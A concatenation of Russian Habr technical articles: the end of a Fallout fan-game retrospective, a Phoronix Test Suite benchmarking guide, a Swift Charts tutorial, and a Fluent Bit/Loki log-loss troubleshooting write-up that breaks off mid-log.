10. Создавать игру в рамках готового сеттинга (вселенной) проще, чем делать с 0.
11. На этапе проектирования уже стоит убирать лишнее. Всё равно не войдёт в финальный релиз, но время съест. Так, например, в игре отсутствует перемещение между городами (карта мира), хотя изначально она предполагалась.
12. Компьютерная игра — это сплав различных ингредиентов. Поэтому тут либо нужны все специалисты, либо ты должен уметь всё это делать сам.
13. Рано или поздно упорство вознаграждается. Но чтобы это не было поздно, см. п.1
А еще этот волшебный момент, когда твоя игра компилируется без ошибок, запускается, и в ней всё именно так, как ты и задумывал. Это волшебство, ради которого стоит тратить свои усилия!
### Хозяйке на заметку
Приводить список литературы не стану, т. к. он уже давно не актуален.
→ А вот поковырять исходные коды, при желании, можно на [Гитхабе](https://github.com/Jaguarhl/Fallout--The-X-Project)
→ [Сама игра](https://cloud.mail.ru/public/22UD/aY5mqpHfH), если любопытно | https://habr.com/ru/post/317688/ | null | ru | null |
# Оцениваем производительность инфраструктуры с Phoronix Test Suite
Aloha всем хабравчанам! Я Влад, системный администратор Cloud4Y. Хочу рассказать, как и зачем мы используем продукт Phoronix Test Suite, а также каким образом можно точно и легко определить реальную (не заявленную) производительность оборудования, предоставленного провайдером облачных услуг.
Во время выбора площадки для размещения инфраструктуры клиенты часто спрашивают, где у Cloud4Y находятся ЦОДы, какая сетевая инфраструктура, виртуализация, SLA и т. д. Это правильно, но важно обращать внимание и на аппаратный комплекс дата-центра. Как можно оценить его эффективность? Хороший вариант — с помощью Phoronix Test Suite.
Что такое Phoronix Test Suite
-----------------------------
Phoronix Test Suite (PTS) — это свободно распространяемое (GNU GPLv3) кроссплаформенное ПО для проведения тестов – бенчмаркинга. PTS умеет проводить тесты в автоматическом режиме и доступен на Windows, Linux, macOS, Solaris и BSD. Phoronix Test Suite комплексно оценивает производительность компонентов системы, так как включает в себя более 600 различных тестов, начиная от производительности процессора и заканчивая тестами приложений (например, Apache или NGINX).
У PTS плотная интеграция с сайтом OpenBenchmarking.org, туда можно выгружать результаты, сохранять их в личной базе данных, делиться конфигурациями тестов. Согласно базе тестов OpenBenchmarking.org, различают 6 типов тестов:
1. **Disk** – тестирование дисковой подсистемы. Например, Flexible IO Tester – известный как fio, популярный тестер I/O.
2. **Graphics** – тестирование графического адаптера. Например, Unigine Heaven — тест вычисляет среднюю частоту кадров в Heaven для движка Unigine. Этот движок чрезвычайно требователен к видеокарте системы.
3. **Memory** – тестирование оперативной памяти. Например, Stream – является самым популярным тестом для проверки производительности оперативной памяти.
4. **Network** – тестирование сетевой производительности системы. Например, Loopback TCP Network Performance – тест проверяет, насколько эффективно работает сетевой стек TCP/IP.
5. **Processor** – тестирование эффективности процессора. Например, x264 — тест производительности при кодировании образца файла с помощью x264 кодека, запущенного на ЦП (OpenCL отключен).
6. **System** – тестирование общей производительности системы. Например, Apache HTTP Server — тест веб-сервера Apache HTTPD с помощью программы на Golang’e «Bombardier».
Важно: хотя phoronix можно использовать на различных ОС, **тесты не всегда поддерживают все платформы.** Поэтому перед тестированием рекомендую внимательно ознакомиться с выбранным тестом. Проверить совместимость можно двумя способами:
Первый: открыть на сайте OpenBenchmarking.org вкладку Tests и, найдя нужный тест, увидеть список поддерживаемых ОС.
Второй: открыв тест, посмотреть список поддерживаемых ОС.
Теперь, когда мы познакомились с продуктом, можно перейти к работе с ним. Погнали!
Установка Phoronix Test Suite
-----------------------------
Рассмотрим установку PTS на операционные системы Linux и Windows. В качестве OC Linux используется Ubuntu 20.04 LTS, OC Windows – Windows Server 2019.
**Для установки на Ubuntu 20.04**
обновляем систему
`sudo apt-get update && sudo apt-get upgrade`
устанавливаем необходимые пакеты
`sudo apt install php7.4-gd curl git sqlite3 bzip2 php-cli php-xml`
скачиваем дистрибутив PTS с официального github phoronix
`git clone https://github.com/phoronix-test-suite/phoronix-test-suite`
переходим в каталог с phoronix-test-suite и устанавливаем PTS путём запуска скрипта
`cd phoronix-test-suite && sudo ./install-sh`
**Если у вас Windows Server 2019**, делаем так:
* Обновляем систему с помощью Центра обновления Windows.
* Скачиваем дистрибутив PTS с [официального github](https://github.com/phoronix-test-suite/phoronix-test-suite).
* Деархивируем скачанный файл в корень диска С. Открываем консоль с правами администратора, переходим в папку с PTS .
`cd C:\phoronix-test-suite`
Запускаем скрипт *phoronix-test-suite.bat*, немного подождём, но за напитками пока рано – иногда нужно прожатие next-next-next. Для начала работы программы наберём `phoronix-test-suite` в командной строке (командная строка должна изменить свой внешний вид).
Тестирование
------------
Установили? Отлично, теперь тестирование. Все команды PTS аналогичны для Windows и Linux дистрибутивов. Мы будем рассматривать работу в командной строке Linux. Тест можно запустить двумя способами, простым и сложным. Сложный путь – сначала необходимо установить тест (установится сам тест + зависимости)
`phoronix-test-suite install < имя теста >`
после чего запустить тест
`phoronix-test-suite run < имя теста >`
но я предлагаю более простой вариант. Используем для запуска теста команду
`phoronix-test-suite benchmark < имя теста >`
после чего Phoronix установит тест, зависимости и запустит тестирование.
Давайте попробуем запустить тест hmmer. Наберём в консоли
`phoronix-test-suite benchmark hmmer`
Произойдёт загрузка необходимых компонентов, после чего мы увидим характеристики машины, на которой запускается тест. Нам будут задано несколько вопросов.
Phoronix Test Suite предлагает сохранить результаты. Давайте выберем Y. Следующий вопрос о имени файла результатов тестирования, вводим hmmer-test-result. Ещё один вопрос — про имя конфигурации теста. Оно должно быть уникальным, но можно оставить по умолчанию, просто нажав Enter (Phoronix автоматически сформирует имя). Далее вопрос о описании конфигурации – давайте оставим по умолчанию, нажав Enter.
Далее запустится тест. Терпеливо ждём результаты, а пока их нет, давайте познакомимся с полезными командами Phoronix Test Suite:
* **phoronix-test-suite help** – покажет все доступные команды.
* **phoronix-test-suite list-all-tests** – поможет увидеть все доступные тесты для текущей машины.
* **phoronix-test-suite list-all-tests | grep Processor** для Linux, или **.\phoronix-test-suite list-all-tests | Select-String -Pattern Processor** для Windows — видим все тесты для процессора.
* **phoronix-test-suite list-installed-tests** – тесты, которые установлены на машине.
* **phoronix-test-suite list-recommended-tests** – список рекомендованных тестов для вашей ОС.
* **phoronix-test-suite info** — позволит посмотреть техническую информацию о тесте.
* **phoronix-test-suite benchmark** — позволит установить (если необходимо) и запустить подряд тесты test1, test2, test3.
А вот и тест завершился, вернёмся к результатам hmmer.
Ещё пара вопросов от Phoronix Test Suite после завершения теста. Хотим увидеть результат теста в консоль? */Y*. Хотим загрузить результат на OpenBenchmarking.org? */Y*. Хотим добавить к результату техническую информацию о машине? */Y*. А с помощью полученной ссылки можно ознакомиться с результатами в браузере.
Слишком много вопросов? От них можно избавиться, добавив в параметры выполнение всех опций теста. Введем в командной строке:
`phoronix-test-suite batch-setup`
Например, так:
Внимание! Чтобы настройки batch применялись, необходимо производить запуск тестов командой batch-benchmark вместо benchmark, в остальном синтаксис сохраняется. Например, `phoronix-test-suite batch-benchmark hmmer`.
Еще одной удобной особенностью Phoronix Test Suite является возможность записывать данные с различных датчиков системы. Например, частоту ядер процессора, утилизацию процессора и др. Чтобы воспользоваться этим функционалом, набираем в консоли:
`MONITOR=all phoronix-test-suite batch-benchmark hmmer`
Как вы видите, получился увесистый набор дополнительно записываемых данных:
А теперь самое важное — поговорим о результатах.
После выполнения тестов PTS выводит информацию о проведенном измерении в консоль и/или в файл. Результаты тестирования сохраняются в каталоги по умолчанию
для linux: `~/.phoronix-test-suite/test-results`
для Windows: C`:\Users\< User >\.phoronix-test-suite\test-results`
Чтобы увидеть сохраненные тесты:
`phoronix-test-suite list-results`
Чтобы подробно ознакомится с результатами теста
`phoronix-test-suite show-result < имя теста >`, например
`phoronix-test-suite show-result hmmer-test-result`
Можно конвертировать файл результатов в один из удобных для форматов: csv, json, pdf и др.
`phoronix-test-suite result-file-to-<формат> < имя теста >`
Разберёмся, как интерпретировать полученные данные. Наиболее простым вариантом является Excel – им и воспользуемся. Я использовал много разных тестов, так что покажу как выглядит часть моей таблички (зелёный цвет – лучший результат, красный – худший):
Каждый тест при выводе результата указывает, как должно трактоваться числовое значение:
* Higher Is Better – чем больше значение, тем лучше.
* Lower Is Better – чем меньше значение, тем лучше.
Результат каждого теста заносился в табличку и впоследствии был проведён анализ. Каждая тестируемая площадка получала в типовом тесте +1 за лучший результат, и -1 за худший, все стартовали с 0. После подсчёта получаем относительное число по типам нагрузки на площадке, на основании которого можно получить представление о производительности тестируемых площадок.
Удобство получаемых данных в том, что мы можем однозначно сказать, какая система лучше. Числовой вывод позволяет однозначно интерпретировать полученные значения. Результаты, полученные с помощью Phoronix Test Suite могут использоваться в качестве метрик, на основании которых производится сравнительные тестирования. Если вам нужно получать важные и актуальные данные о состоянии или изменении текущей инфраструктуры, а также быстрее реагировать на «узкие» места в используемых системах, решать проблемы вовремя, то методика тестирования с помощью Phoronix Test Suite — это простой и удобный путь.
В этой статье я показал, как мы проводим один из видов тестирования различных площадок в дата-центрах. Вы тоже можете сравнить вашу текущую инфраструктуру с облачными решениями с помощью программного продукта Phoronix Test Suite. Пусть ваш выбор будет лёгким и выгодным!
Спасибо за внимание.
P.S. А ещё 28 декабря в 15-00 у нас будет вебинар по безопасности в соцсетях. Приглашаем [зарегистрироваться](https://www.cloud4y.ru/webinars/safety-in-social-networks/?utm_source=habr&utm_medium=referral&utm_campaign=cloud4y_post&utm_content=habr_post).
---
**Что ещё интересного есть в блоге Cloud4Y**
→ [Айтишный пицца-квест. Итоги](https://habr.com/ru/company/cloud4y/blog/587096/)
→ [Как я случайно заблокировал 10 000 телефонов в Южной Америке](https://habr.com/ru/company/cloud4y/blog/584578/)
→ [Клавиатуры, которые постигла неудача](https://habr.com/ru/company/cloud4y/blog/573476/)
→ [WD-40: средство, которое может почти всё](https://habr.com/ru/company/cloud4y/blog/595493/)
→ [Изучаем своё железо: сброс паролей BIOS на ноутбуках](https://habr.com/ru/company/cloud4y/blog/565074/)
Подписывайтесь на наш [Telegram](https://t.me/cloud4y)-канал, чтобы не пропустить очередную статью. Пишем не чаще двух раз в неделю и только по делу. | https://habr.com/ru/post/596833/ | null | ru | null |
# Создание и настройка диаграмм с помощью нового Swift Charts Framework
Создание и настройка диаграмм с помощью нового Swift Charts FrameworkКомпания Apple только что анонсировала фреймворк **Swift Charts**, который мы можем использовать для создания диаграмм в наших приложениях. Судя по беглому взгляду на API, фреймворк может предоставить *гораздо больше*, чем базовые диаграммы, создаваемые такими приложениями, как Numbers и т.д. В этой статье хотелось бы поделиться первыми экспериментами с API.
Для примеров будем использовать набор данных о популярных именах.
Создание диаграммы с областями в виде слоёв
-------------------------------------------
**Примечание**. Если статья покажется интересной, то [вот тут я пишу об iOS-разработке.](https://t.me/+qll_YZ6_8bo2Njky)
Вот как мы можем создать простую диаграмму.
```
struct SimpleBabyNameView: View {
let data: [BabyNamesDataPoint]
var body: some View {
Chart(data) { point in
AreaMark(
x: .value("Date", point.year),
y: .value("Count", point.count)
)
.foregroundStyle(
by: .value("Name", point.name)
)
}
}
}
```
Диаграмма со слоямиПРИМЕЧАНИЕ: Очень важно сортировать точки данных по имени. Если этого не сделать, то в итоге получится очень неровная диаграмма, как на рисунке ниже!
Пример неправильной сортировки данныхПолучилось неплохо, но это не вписывается в эстетику нашего приложения. Все сложенные области строятся от основания диаграммы и не слишком легко выглядят. Можно попробовать создать диаграмму, чтобы лучше показать поток данных во времени и визуально центрировать данные. К счастью, **Swift Charts** позволяет это сделать проще, чем кажется!
Изменив конструктор **AreaMark** на тот, который принимает опцию **MarkStackingMethod**, можно построить диаграмму, нарисованную вдоль центра.
```
struct SimpleBabyNameView: View {
let data: [BabyNamesDataPoint]
var body: some View {
Chart(data) { point in
AreaMark(
x: .value("Date", point.year),
y: .value("Count", point.count),
stacking: .center
)
.foregroundStyle(
by: .value("Name", point.name)
)
}
}
}
```
Диаграмма, построенная вдоль центральной осиНастройка стиля диаграммы
-------------------------
Теперь хотелось бы рассмотреть возможность кастомизировать цвета диаграммы. Яркие цвета, которые выбраны автоматически, действительно хороши для быстрого просмотра, но они конфликтуют с остальной частью приложения, поэтому нужно придумать что-то другое.
Это возможно с помощью модификатора **chartForegroundStyleScale(range:)**. Его можно разместить на нескольких уровнях в структуре диаграммы. Я размещу его непосредственно на вью **Chart**, чтобы применить настройку ко всем диапазонам данных на диаграмме.
```
struct SimpleBabyNameViews: View {
let data: [BabyNamesDataPoint]
var body: some View {
Chart(data) { point in
AreaMark(
x: .value("Date", point.year),
y: .value("Count", point.count),
stacking: .center
)
.foregroundStyle(
by: .value("Name", point.name)
)
}
.chartForegroundStyleScale(
range: Gradient (
colors: [
.purple,
.blue.opacity(0.3)
]
)
)
}
}
```
 Настройка стиля диаграммыДобавление лейблов на диаграмму
-------------------------------
Эта диаграмма начинает выглядеть так, как будто хорошо впишется в приложение, однако теперь довольно сложно сопоставить название с соответствующей областью. Было бы гораздо лучше, если бы мы могли размещать метки непосредственно на диаграмме.
Нужно расположить эти метки таким образом, чтобы было понятно, какой участок они обозначают, и при этом они не должны перекрывать друг друга. Было бы идеально, если бы можно было пометить точку на диаграмме, где имя имело самую высокую долю использования.
Вычисление значений для аннотаций
---------------------------------
Первое, что нужно сделать, это найти эти даты. Для такой работы неплохо использовать модификатор SwiftUI **task(id:)**. Это позволяет легко запускать код асинхронно, не блокируя основной поток.
```
struct SimpleBabyNameViews: View {
let data: [BabyNamesDataPoint]
// We need a spot to save computed data
@State var datesOfMaximumProportion: [
(date: Date, name: String)
] = []
var body: some View {
//.... existing Chart code goes here ....//
.task(id: data.count) {
// reset the state
self.datesOfMaximumProportion = []
var namesToMaxProportion: [
String: (proportion: Float, date: Date)
] = [:]
// Find the date
for point in self.data {
if (
namesToMaxProportion[point.name]?
.proportion ?? 0
) < point.proportion {
namesToMaxProportion[point.name] =
(point.proportion, point.year)
}
}
// Re-shape this into a flat list
self.datesOfMaximumProportion = namesToMaxProportion
.map { (key: String, value) in
(value.date, key)
}
}
}
}
```
Вычислив эти значения, мне теперь нужно использовать их для размещения текста. Просматривая **Charts API**, не получилось найти способ размещения текста непосредственно на диаграмме, но можно использовать модификатор **annotation()**.
Настройка вертикальных направляющих
-----------------------------------
В коде диаграммы, который мы имеем на данный момент, неясно, как можно пройтись по массиву datesOfMaximumProportion. Но, используя несколько ForEach вместо передачи данных в конструктор Chart, можно создать диаграмму с несколькими наборами данных.
```
struct SimpleBabyNameViews: View {
let data: [BabyNamesDataPoint]
@State var datesOfMaximumProportion: [
(date: Date, name: String)
] = []
var body: some View {
Chart {
ForEach(data) { point in
AreaMark(
x: .value("Date", point.year),
y: .value("Count", point.count),
stacking: .center
)
.foregroundStyle(by: .value("Name", point.name))
}
ForEach(
datesOfMaximumProportion, id: \.name
) { point in
// We can now plot something here...
}
}
.chartForegroundStyleScale(...)
.task(id: data.count) { ... }
}
}
```
А теперь добавим вертикальные линии.
```
struct SimpleBabyNameViews: View {
// ...
var body: some View {
Chart {
ForEach(data) { point in
// ... draw stacked area marks here
}
ForEach(
datesOfMaximumProportion, id: \.name
) { point in
RuleMark(
x: .value(
"Date of highest popularity for \(point.name)",
point.date
)
)
}
}
.chartForegroundStyleScale(...)
.task(id: data.count) { ... }
}
}
```
Вертикальные линии на диаграммеПрежде чем приступить к добавлению аннотаций, можно сделать линии немного красивее. Эти линии сами по себе помогают выделить даты, соответствующие точкам пика популярности. Использование вертикального **LinearGradient** создает градиентную заливку. Добавление модификатора **blendMode()** со значением затемнения уменьшает влияние этих линий на содержимое основной диаграммы.
```
struct SimpleBabyNameViews: View {
// ...
var body: some View {
Chart {
ForEach(data) { ... }
ForEach(
datesOfMaximumProportion, id: \.name
) { point in
RuleMark(
x: .value(
"Date of highest popularity for \(point.name)",
point.date
)
)
.foregroundStyle(
LinearGradient(
gradient: Gradient (
colors: [
.indigo.opacity(0.05),
.purple.opacity(0.5)
]
),
startPoint: .top,
endPoint: .bottom
)
).blendMode(.darken)
}
}
.chartForegroundStyleScale(...)
.task(id: data.count) { ... }
}
}
```
Улучшение отображения линий с использованием градиентаДобавление аннотаций для линий диаграммы
----------------------------------------
Диаграмма теперь выглядит красиво, но мы отвлеклись. Нужно выяснить, как расположить текстовые метки в правильном месте в середине каждого из соответствующих разделов. Мы уже отсортировали набор данных, чтобы убедиться, что диаграмма отображается правильно. Теперь можно вычислить верхнюю и нижнюю позиции области для заданного имени в самую популярную дату. Получим позиции, в которых мне нужно центрировать метки.
```
struct SimpleBabyNameViews: View {
let data: [BabyNamesDataPoint]
@State var datesOfMaximumProportion: [
(date: Date, name: String, yStart: Float, yEnd: Float)
] = []
var body: some View {
Chart { ... }
.chartForegroundStyleScale( ... )
.task(id: data.count) {
// ... compute namesToMaxProportion as above ...
self.datesOfMaximumProportion = namesToMaxProportion
.map { (key: String, value) in
let name = key
var count = 0
var before = 0
var after = 0
// Loop over all the datapoints
for point in self.data {
// Only consider points of the same year
if point.year != value.date { continue }
if point.name == name {
count = point.count
continue
}
if count != 0 {
// These sections come after
after += point.count
} else {
// These sections come before
before += point.count
}
}
let total = count + after + before
// The height is centred about the x-axis
let lowestValue = -1 * Float(total) / 2.0
let yEnd = lowestValue + Float(before)
let yStart = yEnd + Float(count)
return (value.date, key, yStart, yEnd)
}
}
}
}
```
С этим **y-диапазоном** теперь можно нарисовать гораздо меньшую (невидимую) линию в позиции даты от **yStart** до **yEnd** и разместить аннотацию в ее центре. Мы также повернули текст и поместили за ним фон, чтобы его было приятно и легко читать. Для этого пригодился **ultraThinMaterial**, так что фон принимает цвет раздела, который он помечает.
```
struct SimpleBabyNameViews: View {
// ...
var body: some View {
Chart {
ForEach(data) { point in ... }
ForEach(
datesOfMaximumProportion,
id: \.name
) { point in ... }
// Loop again to ensure labels are on top
ForEach(
datesOfMaximumProportion,
id: \.name
) { point in
// Create a ruler
RuleMark(
x: .value(
"Date of highest popularity for \(point.name)",
point.date
),
yStart: .value("", point.yStart),
yEnd: .value("", point.yEnd)
)
// Set the line width to 0 so as to make it invisible
.lineStyle(StrokeStyle(lineWidth: 0))
// Place an annotation in the centre of the ruler
.annotation(
position: .overlay,
alignment: .center,
spacing: 4
){
// create the annotation
Text(point.name)
.font(.subheadline)
.padding(2)
.fixedSize()
// Provide a background pill
.background(
RoundedRectangle(cornerRadius: 2)
.fill(.ultraThinMaterial)
)
.foregroundColor(.secondary)
// Rotate the pill 90 degrees
.rotationEffect(
.degrees(-90),
anchor: .center
)
.fixedSize()
}
}
}
.chartForegroundStyleScale(...)
.task(id: data.count) {...}
}
}
```
Финальный вид диаграммыВы можете найти код для этой диаграммы в проекте [GitHub](https://github.com/NilCoalescing/SwiftUI-Code-Examples/tree/main/BuildAndStyleAChartWithSwiftChartsFramework), включая код для загрузки и анализа CSV-файла.
---
Если вы нашли что-то полезное для себя, то подписывайтесь на мой канал, [тут больше интересных историй и подходов](https://t.me/+qll_YZ6_8bo2Njky).
Авторский канал об iOS-разработке | https://habr.com/ru/post/670804/ | null | ru | null |
# Потеря логов при отправке через Fluent Bit
Описание проблемы
-----------------
**Дано**
* кластер k8s
* много приложений, которые пишут свои логи в stdout/stderr, а контейнерный движок (в данном случае docker) складывает их в файлы
* fluent-bit, запущенный на каждой ноде k8s. Он собирает логи, фильтрует их и отправляет в Loki
* loki - хранилище логов от Grafana Labs
**В чём заключается проблема**
При просмотре логов через Grafana (источник - Loki) видно, что логи приходят с сильной задержкой или часть логов вообще отсутствует. При просмотре через kubectl logs все логи на месте
Решение проблемы
----------------
### Ищем причину
Конфиг fluent-bit имеет примерно такой вид
```
[SERVICE]
Flush 1
Daemon Off
Log_Level info
Parsers_File parsers.conf
Parsers_File custom_parsers.conf
HTTP_Server On
HTTP_Listen 0.0.0.0
HTTP_Port 2020
[INPUT]
Name tail
Path /var/log/containers/*.log
Parser docker
Tag kube.*
Mem_Buf_Limit 4MB
Skip_Long_Lines On
Skip_Empty_Lines On
[FILTER]
Name kubernetes
Match kube.*
Merge_Log On
Keep_Log On
K8S-Logging.Parser On
K8S-Logging.Exclude On
[OUTPUT]
Name loki
Match kube.*
Host loki.logging.svc.cluster.local
Port 3100
Labels job=fluent, namespace=$kubernetes['namespace_name'], pod=$kubernetes['pod_name'], container=$kubernetes['container_name']
Auto_kubernetes_labels off
Line_format json
```
Первым делом смотрим логи самого fluent-bit
> kubectl logs -l app.kubernetes.io/name=fluent-bit --max-log-requests=6 -f
>
>
и видим там много подобных сообщений
```
[2022/04/27 07:48:32] [ warn] [input] tail.0 paused (mem buf overlimit)
[2022/04/27 07:48:33] [ info] [input] tail.0 resume (storage buf overlimit 77/128)
[2022/04/27 07:48:33] [ warn] [input] tail.0 paused (mem buf overlimit)
[2022/04/27 07:48:34] [ info] [input] tail.0 resume (storage buf overlimit 77/128)
[2022/04/27 07:48:34] [ warn] [input] tail.0 paused (mem buf overlimit)
[2022/04/27 07:48:35] [ info] [input] tail.0 resume (storage buf overlimit 78/128)
```
**tail.0 paused (mem buf overlimit)** говорит о том, что сбор логов через плагин **tail** был приостановлен из-за превышения лимита буфера в памяти **Mem\_Buf\_Limit** (если не задать, то в какой-то момент придёт ООМ). Как только логи из буфера сбрасываются в **loki** и в буфере появляется место, **tail** продолжает собирать логи, но тут же снова упирается в лимит буфера и останавливает сбор новых логов.
На то, как буфер переполняется и с какой скоростью появляются новые логи, можно посмотреть в более явном виде, отправляя при переполнении буфера логи в файловую систему
```
[SERVICE]
...
storage.path /fluent-bit/log/storage/
[INPUT]
...
storage.type filesystem
```
Логи будут отправляться на диск:
* при превышении **Mem\_Buf\_Limit**
* при превышении разрешённого количества чанков в памяти. Задаётся глобально параметром **storage.max\_chunks\_up** (по-умолчанию 128). Для конкретного input плагина размер чанка задаётся через **Buffer\_Chunk\_Size** и **Buffer\_Max\_Size**
Подробнее можно почитать по ссылкам
* <https://docs.fluentbit.io/manual/administration/buffering-and-storage>
* <https://docs.fluentbit.io/manual/pipeline/inputs/tail>
*В релизных образах fluent-bit не содержится никаких дополнительных инструментов. Для дебага необходимо пользоваться специальными образами с суффиксом -debug
Например, 1.9.2-debug*
Теперь можно понаблюдать, как растёт очередь логов на файловой системе
> watch -n 5 "kubectl get po | grep flue | cut -d' ' -f1 | xargs -I{} sh -c 'kubectl exec -t {} -- du -hs /fluent-bit/log/storage'"
>
>
Итак, проблема в том, что логи в input плагине появляются быстрее, чем успевают отправляться в output плагине. Почему так происходит?
Первым предположением было то, что **Loki** не успевает принимать и обрабатывать логи, однако
отсутствие нагрузки на loki
и вывод дебаг-лога fluent-bit
```
[2022/04/27 10:11:31] [debug] [upstream] KA connection #94 to loki-headless.logging.svc.cluster.local:3100 has been assigned (recycled)
[2022/04/27 10:11:31] [debug] [output:loki:loki.0] loki-headless.logging.svc.cluster.local:3100, HTTP status=204
[2022/04/27 10:11:31] [debug] [upstream] KA connection #94 to loki-headless.logging.svc.cluster.local:3100 is now available
[2022/04/27 10:11:32] [debug] [upstream] KA connection #94 to loki-headless.logging.svc.cluster.local:3100 has been assigned (recycled)
[2022/04/27 10:11:32] [debug] [output:loki:loki.0] loki-headless.logging.svc.cluster.local:3100, HTTP status=204
[2022/04/27 10:11:32] [debug] [upstream] KA connection #94 to loki-headless.logging.svc.cluster.local:3100 is now available
[2022/04/27 10:11:33] [debug] [upstream] KA connection #94 to loki-headless.logging.svc.cluster.local:3100 has been assigned (recycled)
[2022/04/27 10:11:33] [debug] [output:loki:loki.0] loki-headless.logging.svc.cluster.local:3100, HTTP status=204
[2022/04/27 10:11:33] [debug] [upstream] KA connection #94 to loki-headless.logging.svc.cluster.local:3100 is now available
[2022/04/27 10:11:34] [debug] [upstream] KA connection #94 to loki-headless.logging.svc.cluster.local:3100 has been assigned (recycled)
[2022/04/27 10:11:34] [debug] [output:loki:loki.0] loki-headless.logging.svc.cluster.local:3100, HTTP status=204
[2022/04/27 10:11:34] [debug] [upstream] KA connection #94 to loki-headless.logging.svc.cluster.local:3100 is now available
[2022/04/27 10:11:35] [debug] [upstream] KA connection #94 to loki-headless.logging.svc.cluster.local:3100 has been assigned (recycled)
[2022/04/27 10:11:35] [debug] [output:loki:loki.0] loki-headless.logging.svc.cluster.local:3100, HTTP status=204
[2022/04/27 10:11:35] [debug] [upstream] KA connection #94 to loki-headless.logging.svc.cluster.local:3100 is now available
[2022/04/27 10:11:36] [debug] [upstream] KA connection #94 to loki-headless.logging.svc.cluster.local:3100 has been assigned (recycled)
[2022/04/27 10:11:36] [debug] [output:loki:loki.0] loki-headless.logging.svc.cluster.local:3100, HTTP status=204
[2022/04/27 10:11:36] [debug] [upstream] KA connection #94 to loki-headless.logging.svc.cluster.local:3100 is now available
[2022/04/27 10:11:37] [debug] [upstream] KA connection #94 to loki-headless.logging.svc.cluster.local:3100 has been assigned (recycled)
[2022/04/27 10:11:37] [debug] [output:loki:loki.0] loki-headless.logging.svc.cluster.local:3100, HTTP status=204
[2022/04/27 10:11:37] [debug] [upstream] KA connection #94 to loki-headless.logging.svc.cluster.local:3100 is now available
```
говорят о том, что Loki принимает все логи с той скоростью, с которой fluent-bit их отправляет
Значит проблему надо искать на стороне fluent-bit в том, как он отправляет логи
### Как fluent-bit отправляет логи
Пора обратиться к [документации](https://docs.fluentbit.io/manual/administration/scheduling-and-retries)
> Fluent Bit has an Engine that helps to coordinate the data ingestion from input plugins and calls the Scheduler to decide when it is time to flush the data through one or multiple output plugins
>
>
Fluent-bit один раз в определённый интервал времени собирает данные из буфера input плагинов, прогоняет через фильтры и отправляет в output плагины. Это интервал задаётся глобально параметром **Flush** в секции **[SERVICE]**. Выходит, никакой тонкой настройки output плагинов и возможности отправлять некий буфер сразу после его накопления - нет, а единственный вариант - это просто чаще отправлять логи
### Отправляем логи чаще
Что ж, попробуем отправлять логи каждые 100мс
```
[SERVICE]
Flush 0.1
...
```
Похоже, что теперь логи успевают отправляться, но неужели нет более элегантного способа, чем просто чаще отправлять данные? Тем более, что это всё происходит в одном потоке
Оказывается, есть способ лучше
### Используем многопоточность
В fluent-bit 1.7.0 [добавили](https://fluentbit.io/announcements/v1.7.0/#core-multithread-support-5x-performance) многопоточность, которая позволяет output плагинам выполнять обработку и доставку логов в отдельных потоках. Количество потоков задаётся через параметр **Workers**
Что конкретно происходит при вынесении доставки в отдельный поток, в рамках этой статьи останется магией, потому что в документации об этом не говорится и надо пристально изучать код на **C**. Поэтому просто поэкспериментируем, выставив отправку логов каждые 5 секунд и один отдельный воркер для **Loki** output
**Конфиг**
```
[SERVICE]
Flush 5
...
[OUTPUT]
Name loki
...
Workers 1
```
**Файловый буфер**
По файловому буферу видно, что логи успевают отправляться и в буфере не накапливаются
**Дебаг лог**
```
[2022/04/27 13:25:08] [debug] [output:loki:loki.0] task_id=0 assigned to thread #0
[2022/04/27 13:25:08] [debug] [upstream] KA connection #125 to loki-headless.logging.svc.cluster.local:3100 has been assigned (recycled)
[2022/04/27 13:25:08] [debug] [output:loki:loki.0] loki-headless.logging.svc.cluster.local:3100, HTTP status=204
[2022/04/27 13:25:08] [debug] [upstream] KA connection #125 to loki-headless.logging.svc.cluster.local:3100 is now available
[2022/04/27 13:25:13] [debug] [output:loki:loki.0] task_id=1 assigned to thread #0
[2022/04/27 13:25:13] [debug] [upstream] KA connection #122 to loki-headless.logging.svc.cluster.local:3100 has been assigned (recycled)
[2022/04/27 13:25:13] [debug] [output:loki:loki.0] loki-headless.logging.svc.cluster.local:3100, HTTP status=204
[2022/04/27 13:25:13] [debug] [upstream] KA connection #122 to loki-headless.logging.svc.cluster.local:3100 is now available
[2022/04/27 13:25:18] [debug] [output:loki:loki.0] task_id=2 assigned to thread #0
[2022/04/27 13:25:18] [debug] [upstream] KA connection #119 to loki-headless.logging.svc.cluster.local:3100 has been assigned (recycled)
[2022/04/27 13:25:18] [debug] [output:loki:loki.0] task_id=0 assigned to thread #0
[2022/04/27 13:25:18] [debug] [output:loki:loki.0] task_id=3 assigned to thread #0
[2022/04/27 13:25:18] [debug] [upstream] KA connection #114 to loki-headless.logging.svc.cluster.local:3100 has been assigned (recycled)
[2022/04/27 13:25:18] [debug] [output:loki:loki.0] task_id=1 assigned to thread #0
[2022/04/27 13:25:18] [debug] [output:loki:loki.0] task_id=4 assigned to thread #0
[2022/04/27 13:25:18] [debug] [output:loki:loki.0] loki-headless.logging.svc.cluster.local:3100, HTTP status=204
[2022/04/27 13:25:18] [debug] [upstream] KA connection #119 to loki-headless.logging.svc.cluster.local:3100 is now available
[2022/04/27 13:25:18] [debug] [upstream] KA connection #116 to loki-headless.logging.svc.cluster.local:3100 has been assigned (recycled)
[2022/04/27 13:25:18] [debug] [upstream] KA connection #118 to loki-headless.logging.svc.cluster.local:3100 has been assigned (recycled)
[2022/04/27 13:25:18] [debug] [output:loki:loki.0] loki-headless.logging.svc.cluster.local:3100, HTTP status=204
[2022/04/27 13:25:18] [debug] [upstream] KA connection #114 to loki-headless.logging.svc.cluster.local:3100 is now available
[2022/04/27 13:25:18] [debug] [output:loki:loki.0] loki-headless.logging.svc.cluster.local:3100, HTTP status=204
[2022/04/27 13:25:18] [debug] [upstream] KA connection #116 to loki-headless.logging.svc.cluster.local:3100 is now available
[2022/04/27 13:25:18] [debug] [upstream] KA connection #125 to loki-headless.logging.svc.cluster.local:3100 has been assigned (recycled)
[2022/04/27 13:25:18] [debug] [output:loki:loki.0] loki-headless.logging.svc.cluster.local:3100, HTTP status=204
[2022/04/27 13:25:18] [debug] [upstream] KA connection #125 to loki-headless.logging.svc.cluster.local:3100 is now available
[2022/04/27 13:25:18] [debug] [output:loki:loki.0] loki-headless.logging.svc.cluster.local:3100, HTTP status=204
[2022/04/27 13:25:18] [debug] [upstream] KA connection #118 to loki-headless.logging.svc.cluster.local:3100 is now available
[2022/04/27 13:25:23] [debug] [output:loki:loki.0] task_id=5 assigned to thread #0
[2022/04/27 13:25:23] [debug] [output:loki:loki.0] task_id=0 assigned to thread #0
